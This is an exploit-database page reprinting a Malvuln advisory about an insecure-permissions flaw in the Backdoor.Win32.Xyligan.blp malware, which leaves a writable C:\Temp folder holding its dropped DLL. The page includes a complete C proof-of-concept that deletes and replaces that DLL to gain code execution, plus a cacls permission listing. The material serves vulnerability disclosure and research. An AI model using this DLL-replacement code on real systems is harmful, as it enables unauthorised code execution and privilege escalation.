Advertisement






Backdoor.Win32.Xyligan.blp / Insecure Permissions EoP

CVE Category Price Severity
CWE-276 $5000 Critical
Author Risk Exploitation Type Date
Unknown High Local 2021-02-12
CPE
cpe:cpe:/a:exploitalert:backdoor-win32-xyligan-blp-insecure-permissions-eop
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021020064

Below is a copy:

Backdoor.Win32.Xyligan.blp / Insecure Permissions EoP
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6b9afcad282516173c0ab8a6eb91e8b4.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Xyligan.blp
Vulnerability: Insecure Permissions EoP
Description: Xyligan.blp creates an insecure dir named "Temp" under c:\ drive and drops DLL "FengYun.dll into it". The C:\Temp is granted change (C) permissions to the authenticated users group allowing any authenticated user to change the DLL to one of their own executables.
Type: PE32
MD5: 6b9afcad282516173c0ab8a6eb91e8b4.exe
Vuln ID: MVID-2021-0065
Dropped files: FengYun.dll
Disclosure: 02/01/2021

Exploit/PoC:
#include "stdio.h"
#include "windows.h"
#define TARGET "C:\\Temp\\FengYun.dll"
#define TMP "C:\\Temp\\2.exe"
#define DISABLED_TARGET "C:\\Temp\\pwn.tmp"

/* Backdoor.Win32.Xyligan.blp.6b9afcad282516173c0ab8a6eb91e8b4.exe */
/* Insecure Permissions EoP */
/* By Malvuln */

BOOL PWNED=FALSE;

  BOOL FileExists(LPCTSTR szPath){
  DWORD dwAttrib = GetFileAttributes(szPath);
  return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}

void main(void){
   
  if(!FileExists(DISABLED_TARGET)){
  WinExec("cmd.exe /c del C:\\Temp\\FengYun.dll", 0);
  Sleep(1000);
  CopyFile(TARGET, TMP, FALSE);
  Sleep(1000);
    CopyFile(TMP, DISABLED_TARGET, FALSE);
    printf("[+] Backdoor.Win32.Xyligan.blp EoP PoC\n");
    Sleep(1000);
    printf("[+] Deleted FengYun.dll ...\n");
    Sleep(300);
   }else{
   PWNED=TRUE;
   }
   
    if(!PWNED){
     char fname[MAX_PATH];
        char newLoc[]=TARGET;
        DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);
       if (size){
         printf("[+] Copying exploit to vuln dir...\n");
         Sleep(1000);
         CopyFile(fname, TARGET, FALSE);
         printf("[+] Done!\n");
         exit(0);
        }
    }else{
    if(FileExists(TMP)){
          remove(TMP);
    }
     printf("[+] Backdoor.Win32.Xyligan.blp PWNED!\n");
     printf("[+] MD5: 6b9afcad282516173c0ab8a6eb91e8b4\n");
     printf("[+] By Malvuln\n");
     system("pause");
     }
}


C:\>cacls \Temp
C:\Temp BUILTIN\Administrators:(OI)(CI)(ID)F
        NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
        BUILTIN\Users:(OI)(CI)(ID)R
        NT AUTHORITY\Authenticated Users:(ID)C
        NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum